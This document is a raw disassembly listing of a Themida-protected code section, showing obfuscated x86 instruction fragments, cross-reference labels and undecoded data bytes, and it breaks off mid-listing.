Themida_:0055FCC4o dd 6824048Bh, 5CDh, 54240C89h, 0E92434FFh, 0FFFF6080h dd 0A9E9C301h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57412F: ; CODE XREF: Themida_:00567060j not esi xor esi, 252D30A7h sub esi, 0D30D8743h jmp loc_567147 ; --------------------------------------------------------------------------- dw 4545h dd 2414F755h, 7E5C15Dh, 6969C581h, 3DE91664h db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574157: ; CODE XREF: Themida_:0056AD40j sub ecx, 3070C27h mov ebp, ecx pop ecx shr ebp, 3 push edi mov edi, 77DB7115h xor edi, 38FC116Fh sub ebp, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 0C037E8FFh jmp loc_5726EB ; --------------------------------------------------------------------------- loc_574185: ; CODE XREF: Themida_:0056E91Bj add ecx, 347B100Dh add ecx, edi sub ecx, 347B100Dh mov edi, [esp] add esp, 4 xchg ecx, [esp] pop esp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] or eax, eax jz loc_5749C3 push dword ptr [edi+1Ch] jmp loc_56646D ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FF7E3FE9h, 241487FFh, 5BD9095Ch, 113BC181h, 6E9B04Eh db 0E8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5741DB: ; CODE XREF: Themida_:0056A011j mov edx, 4 mov ecx, edx pop edx jmp loc_57482B ; --------------------------------------------------------------------------- dd 4C581h, 0BE560000h, 42B13E12h, 7B81CE81h, 0E94E46F8h dd 0FFFF6138h, 0C912E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574206: ; CODE XREF: Themida_:00569653j sub esi, 0BD08E2E4h sub ecx, esi pop esi push edx mov edx, 3B262869h neg edx push eax mov eax, 3AD56995h xor eax, 2CDC6AAEh add edx, eax jmp loc_56E202 ; --------------------------------------------------------------------------- byte_574229 db 0ACh, 2Ch, 0EAh ; DATA XREF: Themida_:0055FF44o dd 0FECE92E9h, 6EE981FFh, 81413273h, 0CF052AC1h, 0BF575811h dd 4EB60D73h, 0FEE5F0E9h, 0A7BE56FFh, 89494471h, 0EA815EF2h dd 494471A3h, 85E9D301h, 8300000Dh, 8B042404h, 0C483240Ch dd 0BCE95504h, 8BFFFF3Eh, 7682424h, 89000031h, 8A68241Ch dd 89000053h, 59E9243Ch db 0F0h, 0FEh, 0FFh byte_574287 db 0FFh ; DATA XREF: Themida_:0055FDB0o dd 48B2434h, 0A91CE924h, 0E189FFFFh, 4C181h, 0C1830000h dd 240C8704h, 0B24248Bh, 19840FC0h, 55FFFED2h, 0FEBFC5E9h dd 3BB368FFh, 62E90000h db 0F4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5742BB: ; CODE XREF: Themida_:00562607j add esp, 4 sub al, bh mov ebx, [esp] add esp, 4 push eax mov ah, 7Eh shl ah, 4 push ebx mov bl, 7Ah jmp loc_57002C ; --------------------------------------------------------------------------- loc_5742D7: ; CODE XREF: Themida_:0056A450j push dword ptr [esp] jmp loc_5725D0 ; --------------------------------------------------------------------------- db 81h dd 9B7FA6EEh, 4EC83B2h, 0FF660BE9h, 4BF57FFh, 1000000h dd 4875FF8h, 0C8005C24h, 0E9240C8Bh, 0FFFF08C1h ; --------------------------------------------------------------------------- loc_574304: ; CODE XREF: Themida_:0057035Bj sub esp, 4 jmp loc_56564B ; --------------------------------------------------------------------------- dd 24248966h, 0FF675CE9h db 0FFh ; --------------------------------------------------------------------------- loc_574315: ; CODE XREF: Themida_:0057348Cj push dword ptr [esp] pop eax push esi mov esi, esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_562212 ; --------------------------------------------------------------------------- dw 0E289h dd 0FF9D45E9h, 96E95FFFh, 29FFFFDBh, 42E959CEh, 0FFFFFF0Eh dd 34FF2434h, 2434FF24h, 4C48158h, 50000000h, 10CCE9h dd 5AC58100h, 0E9626643h, 0FFFF0482h, 61FABE56h, 0F001682Dh dd 52515A5Eh, 0FF550FBAh, 0C2814A01h, 2A365281h, 5395EA81h dd 575565B0h, 9B037868h, 0AA81E943h, 6C81FFFFh, 75D80424h dd 442963DBh, 6CE90424h, 8BFFFFF8h, 0FD882424h, 81241C8Bh dd 4C4h, 4CED8000h, 0BDE9E800h db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5743BF: ; CODE XREF: Themida_:005723E5j xchg esi, [esp] pop esp jmp loc_570CAD ; --------------------------------------------------------------------------- loc_5743C8: ; CODE XREF: Themida_:0056414Cj pop ecx add esp, 4 pop esi push eax jmp loc_565F66 ; --------------------------------------------------------------------------- db 68h dd 395Bh, 0BD242C89h, 31D42B4Bh, 3C21ED81h, 7CE92F85h dd 8BFFFED3h, 0ACE92424h db 0BBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5743F3: ; CODE XREF: Themida_:0056C8C9j pop dword ptr [esp] jmp loc_5617BF ; --------------------------------------------------------------------------- loc_5743FB: ; CODE XREF: Themida_:005628A8j add ebp, 43071AE0h add ebp, 0F68FD223h add esi, ebp pop ebp add ebp, esi pop esi jmp loc_5750DE ; --------------------------------------------------------------------------- dw 0FB01h dd 6D13EB81h, 3C8B371Bh, 4C48324h, 31241C33h, 1C33241Ch dd 24248B24h, 0F66F9F6h, 6866CCB6h, 89666E0Ch, 0F66240Ch dd 5166C8B6h, 0BB59E99Ch, 348BFFFEh, 751CE924h, 0BA68FFFFh dd 89000073h, 5954240Ch, 4EC81h, 14890000h, 4BA24h, 0E9810000h dd 453474C5h, 61ABBA52h, 72E9582Ch db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574477: ; CODE XREF: Themida_:00568E32j add ebp, edi mov edi, [esp] jmp loc_56CA20 ; --------------------------------------------------------------------------- loc_574481: ; CODE XREF: Themida_:005693F6j add ebp, 4 push esi jmp loc_56002E ; --------------------------------------------------------------------------- loc_57448D: ; CODE XREF: Themida_:0056BA0Dj pop ebp xchg ebx, [esp] mov esp, [esp] jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_574499: ; CODE XREF: Themida_:005602F7j mov [esp], edx mov edx, 63AA1D43h dec edx inc edx push eax jmp loc_567D5C ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 81E38953h, 4C3h, 4C38100h, 87000000h, 535C241Ch, 0C381E389h dd 4, 4EB81h, 1C870000h, 3C895C24h, 3C8B5424h, 0EC835524h dd 24248904h, 4240481h, 5D000000h, 4C581h, 65680000h, 89000063h dd 0E956240Ch, 0FFFF5EFDh, 0E6E9934Bh db 0C2h, 0FEh, 0FFh byte_574503 db 66h ; DATA XREF: Themida_:0055FEE8o dd 83240C8Bh, 1C8904ECh, 81E38924h, 4C3h, 0AB36E900h, 0B868FFFFh dd 89000016h, 9BB5240Ch, 0E9F6EA80h, 0FFFF2E2Ch, 77C0EA81h dd 0B8501813h, 35D12159h, 222DD8F7h, 14F7FACh, 1C8B58C2h dd 4C48324h, 2BB53h, 0DA010000h, 74FF525Bh, 148B0424h dd 0D8FBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57455E: ; CODE XREF: Themida_:0056E30Bj add dword ptr [esp+4], 63D85901h add [esp+4], ecx sub dword ptr [esp+4], 63D85901h push dword ptr [esp] pop ecx jmp loc_571003 ; --------------------------------------------------------------------------- loc_57457B: ; CODE XREF: Themida_:00560CA7j pop esp push edx push 4 pop edx add ebx, edx push dword ptr [esp] pop edx push 3D46h jmp loc_56EB7E ; --------------------------------------------------------------------------- loc_574593: ; CODE XREF: Themida_:00572A34j mov esi, 1 sub esp, 4 mov [esp], edx push eax mov eax, 24h push eax push eax mov eax, 1CE46C0Ah sub [esp+4], eax pop eax jmp loc_560D16 ; --------------------------------------------------------------------------- byte_5745B5 db 0ACh, 0E9h, 9Dh ; DATA XREF: Themida_:0055FD28o db 0C4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5745BB: ; CODE XREF: Themida_:00571815j push eax jmp loc_56D8FE ; --------------------------------------------------------------------------- loc_5745C1: ; CODE XREF: Themida_:005664C2j mov ebx, [esp] add esp, 4 jmp loc_56BB59 ; --------------------------------------------------------------------------- db 8Bh dd 0D8002424h, 241C8B66h, 0FECD39E9h, 2474FFFFh, 48F5A04h dd 4E7DE924h, 1C8BFFFFh, 0E296E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5745F2: ; CODE XREF: Themida_:00573940j pop ecx xor edx, [esp] xor [esp], edx jmp loc_574C3A ; --------------------------------------------------------------------------- dw 148Bh dd 79EDE924h, 3B05FFFFh, 89B550F0h, 814D58C5h, 1EDh, 0D0F79500h dd 3C58195h, 1419D8Dh, 0EA815DEAh, 6B1D33D1h, 0FEF1DFE9h dd 80CBFEFFh, 5166E1CBh, 0D5F6DD88h, 5966EB88h, 0DA30D386h dd 0DA30D330h, 0DA86DBF6h, 8150D386h, 4ECh, 0D3DDE900h dd 0E955FFFEh, 0FFFFAE3Ch, 1C8BD901h, 4C48324h, 2B850h dd 0C1010000h, 0CC88E958h, 2C29FFFFh, 242C8124h, 16887CAAh dd 5D2434FFh, 0F704C483h, 0BEED81D5h, 1B2CDC8h db 0E8h, 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_56C8B0 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 34815150h, 0B90CE224h, 0E2355812h, 5012B90Ch dd 0A0B3E95Ah, 0C481FFFFh, 4, 8324048Bh, 0C78104C4h, 5BF202DCh dd 486AEF81h, 5DE967A0h, 51FFFF03h, 0FF460AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5746E1: ; CODE XREF: Themida_:0056799Aj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or edx, eax shl edx, 1 jmp loc_566D7E ; --------------------------------------------------------------------------- loc_5746FC: ; CODE XREF: Themida_:005628DAj pop eax inc ebp push edx mov edx, 46B83A15h add ebp, edx pop edx add esi, ebp jmp loc_560E29 ; --------------------------------------------------------------------------- loc_57470E: ; CODE XREF: Themida_:0056AEB2j shl ebp, 2 jmp loc_566B26 ; --------------------------------------------------------------------------- loc_574716: ; CODE XREF: Themida_:0056F3F4j pop edi jmp loc_567CD4 ; --------------------------------------------------------------------------- dd 15B5685Eh, 65E90000h db 0EBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_574727: ; CODE XREF: Themida_:0056956Dj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_560ED3 ; --------------------------------------------------------------------------- dw 0F781h dd 4F2F1C7Ch, 6392EF81h, 6CE9054Ch db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57474B: ; CODE XREF: Themida_:0056BBA6j pop esp jmp loc_569587 ; --------------------------------------------------------------------------- loc_574751: ; CODE XREF: Themida_:00563B39j shl edx, 7 or edx, 64BD0A2Eh jmp loc_5679E8 ; --------------------------------------------------------------------------- loc_57475F: ; CODE XREF: Themida_:00564B06j pop edi push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5707DC ; --------------------------------------------------------------------------- dd 0B3241C89h, 0FBF1E98Eh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57477E: ; CODE XREF: Themida_:00560033j and esi, 67C07647h shr esi, 2 jmp loc_560C91 ; --------------------------------------------------------------------------- loc_57478C: ; CODE XREF: Themida_:005661A9j mov edi, [esp] jmp loc_56A065 ; --------------------------------------------------------------------------- dd 116E957h, 0BA52FFFFh, 9290864h, 0FF4564E9h db 0FFh ; --------------------------------------------------------------------------- loc_5747A5: ; CODE XREF: Themida_:0056E82Cj pop esp xchg ebp, [esp] pop esp jmp loc_565AF6 ; --------------------------------------------------------------------------- byte_5747AF db 68h ; DATA XREF: Themida_:0055FD70o dd 67AFh, 57240489h, 0D942E668h, 2434FF5Dh, 8B68565Fh dd 0E9000026h, 0FFFF0019h, 345D6850h, 67E95C30h db 0D5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5747D7: ; CODE XREF: Themida_:00568F41j sub esp, 4 jmp loc_564A68 ; --------------------------------------------------------------------------- loc_5747E2: ; CODE XREF: Themida_:0056BC7Cj xor edx, 259Eh sub edi, 6EC3756Fh jmp loc_562CE9 ; --------------------------------------------------------------------------- loc_5747F3: ; CODE XREF: Themida_:0056A68Bj not ecx jmp loc_567234 ; --------------------------------------------------------------------------- word_5747FA dw 8B66h ; DATA XREF: Themida_:0055FF30o dd 83502404h, 8F5404ECh, 0BA522404h, 4, 4245401h, 8950585Ah dd 405E0h, 42D0000h, 87000000h, 895C2404h, 2FE9240Ch db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57482B: ; CODE XREF: Themida_:005741E3j sub ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] jmp loc_562DFA ; --------------------------------------------------------------------------- db 0B1h, 98h, 50h dd 0E0C0EDB0h, 1B61E903h, 5350FFFFh, 0FF4A62E9h, 0DDF581FFh dd 81552162h, 9813BCF5h, 0F47DE971h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57485E: ; CODE XREF: Themida_:00565792j push ecx push edx jmp loc_56BB98 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 3FE95B54h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57486F: ; CODE XREF: Themida_:00567C31j push 20BBh mov [esp], edx push ebp sub esp, 4 mov [esp], edi mov edi, 476B6519h mov ebp, 2256A686h add ebp, edi pop edi mov edx, ebp pop ebp jmp loc_56C872 ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 0FF98C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5748A1: ; CODE XREF: Themida_:00564C21j pop edx xor edx, ecx mov ecx, [esp] add esp, 4 shr edx, 2 jmp loc_5627B8 ; --------------------------------------------------------------------------- loc_5748B2: ; CODE XREF: Themida_:00565AF9j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov cl, 0CBh shr cl, 1 shl cl, 4 push ebx push esp pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], edx push eax jmp loc_56502B ; --------------------------------------------------------------------------- db 29h, 0EFh, 5Dh dd 6DD7C781h, 0F7292AF2h, 6DD7EF81h, 0BE562AF2h, 46381155h dd 5980B850h, 85E9086Bh, 59FFFF20h, 24048B5Ah, 0E904C483h dd 0FFFF81B2h, 4C3815Ah, 53000000h, 42474FFh, 24048F5Bh dd 3124248Bh, 0FF685BD8h, 8900007Eh, 0EFE9243Ch db 0BDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57493F: ; CODE XREF: Themida_:00571C0Bj mov ebx, 24h jmp loc_56EFF9 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 3AB5240Ch, 510268h, 24148900h, 0F2E96AB6h dd 1FFFF46h, 0E8835EF0h, 24048704h, 242C895Ch, 0C581E589h dd 4, 4ED81h, 0FF550000h, 5D042474h, 8B24048Fh, 4892424h dd 2434FF24h, 7948685Eh, 1C890000h, 1C8B5424h, 3DE95224h dd 8BFFFF3Eh, 8B662424h, 0C483241Ch, 2C316602h, 2C336624h dd 0CF2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5749BA: ; CODE XREF: Themida_:0056E386j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp loc_5749C3: ; CODE XREF: Themida_:005741B3j push 6A6Dh mov [esp], ebx push dword ptr [esp] pop eax push 6F3Ch mov [esp], ebp mov ebp, esp jmp loc_5642B6 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0FFA398E9h, 0B5B1E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5749EE: ; CODE XREF: Themida_:0056F33Ej xchg ebp, [esp] mov esp, [esp] mov [esp], eax push edx jmp loc_5716F1 ; --------------------------------------------------------------------------- loc_5749FD: ; CODE XREF: Themida_:0056F1E4j add esp, 4 xor edx, [esp] jmp loc_565C6B ; --------------------------------------------------------------------------- dd 0C380D300h, 0B0505A03h, 9DC38079h, 0AD0E9h, 242C8700h dd 0FFCDC8E9h db 0FFh byte_574A21 db 0ADh, 55h, 0BDh ; DATA XREF: Themida_:0055FF4Co dd 6E105898h, 2F47222Dh, 0E9E80168h, 0FFFF31A7h ; --------------------------------------------------------------------------- loc_574A34: ; CODE XREF: Themida_:00571566j xor edx, 2B143F4Ah sub ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] mov [esp], edx push 10000h jmp loc_56ED0B ; --------------------------------------------------------------------------- dd 9A68535Ch, 5B79842Fh, 1E02F381h, 0E9500FFAh, 0FFFF121Ch ; --------------------------------------------------------------------------- loc_574A64: ; CODE XREF: Themida_:005601ABj mov ecx, 0D815C13h and ecx, 71877C32h jmp loc_56EE46 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 78256800h, 14890000h, 68E28924h, 68Fh dd 68241C89h, 4EFF5A4Eh, 0F4FBE95Bh, 0D366FFFEh, 0E99C243Ch dd 0FFFEB4FBh, 5DDFCD81h, 0F5817D83h, 0B706AD0Ch, 0FEE64DE9h dd 5C381FFh, 13C920Ah, 5EB81C3h, 833C920Ah, 3C8904ECh dd 30E95624h, 89FFFFE5h, 8BEE9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_574AD6: ; CODE XREF: Themida_:0056D8A7j sub ecx, 0B175EA86h sub ebp, ecx pop ecx add edx, ebp jmp loc_564AB3 ; --------------------------------------------------------------------------- dw 5352h dd 4D096866h, 6DE95B66h db 0C9h, 0FEh, 0FFh byte_574AF3 db 0FFh ; DATA XREF: Themida_:0055FDFCo dd 0C8B2434h, 85E95024h db 1Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574AFF: ; CODE XREF: Themida_:0056E7C3j add ebp, 4 jmp loc_570E27 ; --------------------------------------------------------------------------- dw 0B951h dd 2A7A4985h, 0FFF1B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_574B15: ; CODE XREF: Themida_:0056D0B2j mov edi, 7481647Bh add ebp, edi jmp loc_56DC75 ; --------------------------------------------------------------------------- db 81h, 0CBh, 0Dh dd 5213AA23h, 52457ABAh, 5AD3313Dh, 0C15BDA09h, 0C28106EAh dd 0FEA40B49h, 575AD301h, 2BFh, 5FFB0100h, 0E9241C87h dd 0FFFFF857h, 4EC8151h, 89000000h, 88532414h, 0C59E9C3h dd 487FFFFh, 0FD305C24h, 0E9241C8Bh, 0FFFF567Eh, 33240431h dd 248B2404h, 0BE0F6624h, 516866C8h, 0C89662Eh, 0B415E924h dd 8953FFFEh, 4C381E3h, 83000000h, 1C8704C3h, 6437E924h dd 0C330FFFFh, 4EC81h, 14890000h, 81E28924h, 4C2h, 4EA8100h dd 87000000h, 895C2414h, 0E953240Ch, 0FFFFFF8Ch, 0E586E956h dd 0F181FFFFh, 662FD1ACh, 7BE9C829h, 5CFFFEE3h, 9C2424D2h dd 0FEB3BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_574BE1: ; CODE XREF: Themida_:005659B3j sub ebx, ebp pop ebp add esi, ebx pop ebx xchg esi, [esp] pop esp loc_574BEB: ; CODE XREF: Themida_:00565B45j push 635Ch jmp loc_569A44 ; --------------------------------------------------------------------------- db 80h, 0F5h, 8 dd 0C004E5C0h, 42E906E5h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574C03: ; CODE XREF: Themida_:00562D2Bj pop edx add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] pop dword ptr [esp] sub esp, 4 mov [esp], ebp push 1391h mov [esp], ebx pop ebp push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 jmp loc_560C7C ; --------------------------------------------------------------------------- loc_574C3A: ; CODE XREF: Themida_:005745F9j xor edx, [esp] jmp loc_56A54A ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4EE81h, 34870000h, 14895C24h, 0C066B624h, 5C6804EEh dd 8900004Dh, 68E9241Ch, 5EFFFF12h, 0FF7CF0E9h, 4EBB53FFh dd 0E90F1422h, 0FFFEE847h ; --------------------------------------------------------------------------- loc_574C78: ; CODE XREF: Themida_:0056287Cj pop esi push ebx mov ebx, 4 add esi, 30C3134Ah add esi, ebx jmp loc_56CA11 ; --------------------------------------------------------------------------- loc_574C8C: ; CODE XREF: Themida_:0056B854j mov ebx, [esp] add esp, 4 not ebx add ebx, 8C35B234h mov ecx, ebx mov ebx, [esp] push ebx jmp loc_565E64 ; --------------------------------------------------------------------------- dd 2947BF57h, 0FD311A38h, 8BE8895Fh, 0C483242Ch, 2E16E904h db 2 dup(0FFh) word_574CBE dw 0E9ADh ; DATA XREF: Themida_:0055FE28o dd 0FFFEEA28h, 5266C9FEh, 0E7C3E950h, 0D000FFFFh, 0E957B151h dd 0FFFF5DCAh, 0FEB2C2E9h, 4EC83FFh, 0E9240489h, 0FFFEC256h ; --------------------------------------------------------------------------- loc_574CE8: ; CODE XREF: Themida_:00573278j pop esi xor edi, 3C5E6C49h push esi mov esi, 710E391Bh jmp loc_567019 ; --------------------------------------------------------------------------- dw 814Dh dd 899866C5h, 0DC2BE9C3h, 1C8BFFFEh, 4C48124h, 0E9000000h dd 0FFFF6D4Ch, 22F0E581h, 0EDC17F77h, 0C170E902h, 0D2F7FFFFh dd 5109F281h, 814A6CD7h, 13C42EAh, 0E9D329D7h, 0FFFF73EFh dd 685AD689h, 0E607E126h, 97B9515Dh, 1036347h, 0ED8159CDh dd 359525EFh, 0C581F501h, 359525EFh, 0FEC469E9h db 0FFh ; --------------------------------------------------------------------------- loc_574D5D: ; CODE XREF: Themida_:00572BBAj sub al, dl pop dx jmp loc_560197 ; --------------------------------------------------------------------------- loc_574D66: ; CODE XREF: Themida_:0056EA00j dec ebx push ebp mov ebp, 39566A2Fh jmp loc_56435A ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 48704E8h, 0CE22E924h, 248BFFFEh, 0CFF6624h dd 0E1E99C24h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574D8F: ; CODE XREF: Themida_:00561762j push ebp push ebx push 1FE86997h pop ebx not ebx add ebx, 1FE8699Ch mov ebp, ebx push dword ptr [esp] push dword ptr [esp] jmp loc_57357D ; --------------------------------------------------------------------------- dd 4C481h, 34870000h, 24248B24h, 51243489h, 0FF481CE9h db 0FFh aNhbm db 'hm',0 ; DATA XREF: Themida_:0055FE74o dw 8900h dd 4768242Ch, 0E937E737h, 0FFFFB9B3h ; --------------------------------------------------------------------------- loc_574DD4: ; CODE XREF: Themida_:00569C20j push 6E4Ch mov [esp], ebp mov ebp, 4C3878E7h push eax mov eax, 3DAD5532h shl eax, 6 xor eax, 4ECE2036h add eax, 742B26h jmp loc_562703 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0D2h dd 817946D0h, 0F10355CDh, 0EEF58156h, 812B1126h, 0BF0970E5h dd 0B0C5814Ah, 81459E75h, 8BE8F5C5h, 5DE829F2h, 846C032Dh dd 0F542E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574E2A: ; CODE XREF: Themida_:00568FD2j push 4A110340h pop ebp shl ebp, 2 xor ebp, 38D70E15h jmp loc_5710B9 ; --------------------------------------------------------------------------- dw 2C8Bh dd 0CEFDE924h, 0CF89FFFFh, 0FF5CA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_574E4D: ; CODE XREF: Themida_:0056754Ej push eax mov al, 0E2h mov dl, 0F1h jmp loc_5718F9 ; --------------------------------------------------------------------------- db 0BAh dd 0FFFFFFFFh, 55AD029h, 0A030FF4h, 1A05352Dh, 8E0C129h dd 4E5A3535h, 81853543h, 0C18984D6h, 50D9F758h, 2A7B21B8h dd 64850D7Bh, 0E0C16AA9h, 0E9DEE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574E8E: ; CODE XREF: Themida_:00562A56j sub [esp], bl mov bl, [esp] jmp loc_5638E4 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0DEh dd 811E1909h, 7A5F7BEEh, 67F68172h, 81AB9EAAh, 0D25D86EDh dd 92ED8156h, 162D83Bh, 92C581F5h, 5262D83Bh, 537046BAh dd 0C0F2816Ch, 13A812Dh, 0CBD9E9D5h, 4D59FFFFh, 8105E5C1h dd 0B76241E5h, 0BED8113h, 0E9D5EAB5h, 0FFFEE8F6h, 89243489h dd 4C681E6h, 52000000h, 4BAh, 0A457E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574EFE: ; CODE XREF: Themida_:00563466j mov esp, [esp] mov [esp], ebx mov ebx, esp jmp loc_566CE2 ; --------------------------------------------------------------------------- db 2Dh dd 637F576Dh, 4937E956h db 2 dup(0FFh) word_574F16 dw 30ACh ; DATA XREF: Themida_:0055FD40o dd 0B23FE9D8h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_574F1E: ; CODE XREF: Themida_:0056F8A6j push edi mov edi, 5396068h add ebx, edi pop edi xor ecx, ebx pop ebx sub ebp, 73EB6D1Bh add ebp, ecx push esi push edx mov edx, 243B7B4Eh mov esi, edx jmp loc_5650C3 ; --------------------------------------------------------------------------- dd 123E9AB9h, 8141494Fh, 0AC19D9C9h, 6E1C101h, 3FEDC981h dd 0E9816BFEh, 0DE5BBFA5h, 5D59C829h, 0CD451805h, 57BA525Dh dd 2959E230h, 62685AD0h, 89000034h, 0D8BD242Ch, 0E944B822h dd 0FFFEB3D6h, 59B4E953h, 0BE56FFFFh, 4012075Ch, 0F681DEF7h dd 4BBD388Eh, 3FDAC681h, 0C4E90BAFh, 51FFFFF9h, 0FF2552E9h dd 4335BFFh, 78E924h, 81420000h, 0D4EF18C2h, 0E9D0313Fh dd 0FFFF574Ah ; --------------------------------------------------------------------------- loc_574FBC: ; CODE XREF: Themida_:0056F853j neg ecx sub ecx, 343D3141h jmp loc_56E8C8 ; --------------------------------------------------------------------------- byte_574FC9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FE34o dd 872FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_574FD2: ; CODE XREF: Themida_:00570408j pop ecx add ecx, 4 push ebp mov ebp, 23B33548h jmp loc_5753B6 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 4EB8100h, 87000000h, 895C241Ch, 0E2892414h dd 66668h, 243C8900h, 4BFh, 0FFFA0100h, 78E92434h db 0D5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_575013: ; CODE XREF: Themida_:005690E3j xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_57354D ; --------------------------------------------------------------------------- loc_57501F: ; CODE XREF: Themida_:00562C73j mov edx, esp jmp loc_5673C3 ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 0FFED48E9h db 0FFh ; --------------------------------------------------------------------------- loc_575031: ; CODE XREF: Themida_:0056F1D6j pop edi add eax, 5D7D0447h sub eax, esi sub eax, 5D7D0447h push edx mov edx, 629D2441h inc edx jmp loc_572E79 ; --------------------------------------------------------------------------- loc_57504A: ; CODE XREF: Themida_:0056B068j sub edx, 4 jmp loc_56B7BA ; --------------------------------------------------------------------------- dd offset dword_450050+4018h dw 8900h dd 58B9240Ch, 517B6519h, 83243C8Bh, 15904C4h, 0E908247Ch dd 0FFFFCB84h, 9C240421h, 0FEAF26E9h, 565954FFh, 6D576853h dd 815B22D6h, 6D18D0C3h, 87C3817Dh, 0C11DE72Bh, 0F38104EBh dd 42B3E8B5h, 0FFC3A7E9h, 24048FFFh, 2414895Ch, 468h, 0EF815A00h dd 75E214F5h, 6805C781h, 0D70148ECh, 6805EF81h, 0C78148ECh dd 75E214F5h, 8124148Bh, 4C4h, 1469E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5750D2: ; CODE XREF: Themida_:005693BFj pop edi xor ebp, 21C91CCDh jmp loc_56202E ; --------------------------------------------------------------------------- loc_5750DE: ; CODE XREF: Themida_:0057440Dj sub esp, 4 mov [esp], edi mov edi, 7AF70375h xor edi, 5CAB6A3Ch add edi, 9EF63622h add ebp, 276D3581h jmp loc_567692 ; --------------------------------------------------------------------------- loc_575103: ; CODE XREF: Themida_:0056C287j pop ebx pop dword ptr [esp] mov esp, [esp] push esi jmp loc_5737D5 ; --------------------------------------------------------------------------- dd 0AE04BA52h, 0D7291ABBh, 5FFD215Ah, 0FF2831E9h, 6EDC1FFh dd 81E18951h, 4C1h, 0D7FEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575132: ; CODE XREF: Themida_:00570006j add ebp, 4 jmp loc_57033B ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 0FFFFFFBFh, 0E9F929FFh, 0FFFF28A0h, 0C388BC04h dd 6E3C058h, 0E939B551h, 0FFFFFA95h, 4BE56h, 0F1010000h dd 54E9555Eh db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57516F: ; CODE XREF: Themida_:0056C3DDj mov [esp], ebx mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push edx push esp jmp loc_56FF14 ; --------------------------------------------------------------------------- dd 24B9h, 0FFCE0100h, 0C8B2434h, 0E1895124h, 0FF1049E9h dd 0AFE959FFh db 0E5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5751A3: ; CODE XREF: Themida_:0057188Bj pop ebx jmp loc_5603A4 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 83000000h, 148704C2h, 0EA815C24h, 3594A33h, 482FC281h dd 0C2016079h, 